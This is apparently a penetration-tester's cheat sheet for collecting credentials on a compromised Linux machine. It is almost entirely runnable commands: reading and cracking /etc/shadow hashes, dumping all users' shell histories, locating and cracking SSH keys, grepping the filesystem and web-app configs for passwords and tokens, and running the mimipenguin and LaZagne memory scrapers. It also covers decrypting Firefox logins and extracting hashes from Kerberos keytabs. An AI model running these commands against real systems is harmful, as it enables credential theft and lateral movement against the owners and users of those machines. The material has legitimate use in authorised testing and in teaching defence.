Linux credential hunting is mostly grep. The file system is open, applications leave secrets in configs, and users paste passwords into shell history. The high-impact targets are /etc/shadow, SSH private keys, and anything with password= in it.

The Hash Store: /etc/shadow

Readable only by root. Fields: user:hash:last_change:min:max:warn:inactive:expire.

# Requires root
cat /etc/shadow
 
# Combine with /etc/passwd for john/hashcat
unshadow /etc/passwd /etc/shadow > hashes.txt

Hash prefix tells you the algorithm:

PrefixAlgorithmHashcat mode
$1$md5crypt500
$5$sha256crypt7400
$6$sha512crypt1800
$y$j9T$yescrypt (Debian 12+, modern RHEL)29700
$2a$ / $2y$bcrypt3200
hashcat -m 1800 hashes.txt rockyou.txt
hashcat -m 1800 hashes.txt rockyou.txt -r rules/best64.rule

Auth-Adjacent Files That Leak Creds

# PAM / passwd
cat /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d/* 2>/dev/null
 
# Scheduled jobs often contain creds for backup/sync
cat /etc/crontab /etc/cron.d/* /etc/anacrontab 2>/dev/null
ls -la /etc/cron.*/
 
# systemd service units (run as specific users, may have ExecStart creds)
grep -riE 'password|user' /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null

Shell History

cat ~/.bash_history ~/.zsh_history ~/.*_history 2>/dev/null
for h in /home/*/.bash_history; do echo "=== $h ==="; sudo cat "$h"; done
cat /root/.bash_history 2>/dev/null

Look for: mysql -p<pw>, sshpass -p, curl -u user:pw, openssl enc -pass pass:, export AWS_SECRET_ACCESS_KEY=.

SSH Keys (High-Value)

# Current user's keys
ls -la ~/.ssh/
 
# Every user's keys (as root)
find / -name 'id_rsa*' -o -name 'id_ed25519*' -o -name 'authorized_keys' 2>/dev/null
find / -name '*.pem' -type f 2>/dev/null
 
# Crack an encrypted key
ssh2john id_rsa > id_rsa.hash
hashcat -m 22921 id_rsa.hash rockyou.txt

An authorized_keys file with a passphrase-less private key you can read is a free login — try it before cracking anything.

App & Service Configs

# Database configs
find / -name '*.conf' -o -name '*.cnf' -o -name '*.ini' 2>/dev/null | \
  xargs grep -liE 'password|passwd|pwd' 2>/dev/null
 
# Web app config files
find /var/www/ -type f \( -name '*.php' -o -name '*.env' -o -name 'wp-config.php' \) 2>/dev/null
cat /var/www/*/wp-config.php /var/www/*/.env 2>/dev/null
 
# PostgreSQL
cat ~/.pgpass /var/lib/pgsql/.pgpass 2>/dev/null
cat /etc/postgresql/*/main/pg_hba.conf 2>/dev/null
 
# MySQL
cat ~/.my.cnf /root/.my.cnf 2>/dev/null
 
# Hashicorp Vault / Docker
cat ~/.docker/config.json 2>/dev/null
env | grep -i vault

Broad grep Sweep

# High-signal regex across /
grep -rniE 'password[[:space:]]*[:=][[:space:]]*[^[:space:]]+' / 2>/dev/null | head -50
grep -rniE 'api[_-]?key|secret[_-]?key|access[_-]?token' / 2>/dev/null | head -50
 
# Ignore noisy paths for speed
grep -rniE 'password|passwd|credential' \
  --exclude-dir={proc,sys,dev,run,var/log,snap} / 2>/dev/null | head -100
 
# Find files modified recently that mention credentials
find / -type f -mtime -14 2>/dev/null | \
  xargs grep -liE 'password|credential' 2>/dev/null | head

Memory-Scraping Tools

mimipenguin

Scrapes cleartext passwords from memory of gnome-keyring-daemon, vsftpd, sshd, apache2, etc.

sudo ./mimipenguin.sh
sudo python3 ./mimipenguin.py

LaZagne

Walks every known Linux app that stores creds — browsers, chats, wifi, databases, git.

sudo python3 laZagne.py all
sudo python3 laZagne.py browsers   # scoped

Browser & Keyring

# Firefox stored logins (requires key4.db + logins.json)
find / -name 'logins.json' 2>/dev/null
find / -name 'key4.db' 2>/dev/null
# Decrypt offline:
python3 firefox_decrypt.py <profile-dir>
 
# GNOME keyring login.keyring (encrypted with login password)
ls ~/.local/share/keyrings/

Credentials in /tmp

/tmp is world-readable by default. Scripts running as root often drop temp files with creds.

ls -la /tmp/ /var/tmp/ /dev/shm/
grep -rliE 'password|passwd|token' /tmp/ 2>/dev/null

Kerberos Material (AD-Joined Linux)

Covered in detail in Pass-the-Hash, Ticket, Certificate. Quick checks:

# Is this box AD-joined?
realm list
ps -ef | grep -Ei 'winbind|sssd'
 
# Keytabs (service account credentials)
find / -name '*.keytab' 2>/dev/null
klist -k -t /opt/service.keytab
python3 keytabextract.py service.keytab    # → NT hash + AES keys
 
# Credential caches
ls -la /tmp/krb5cc_* 2>/dev/null
env | grep -i KRB5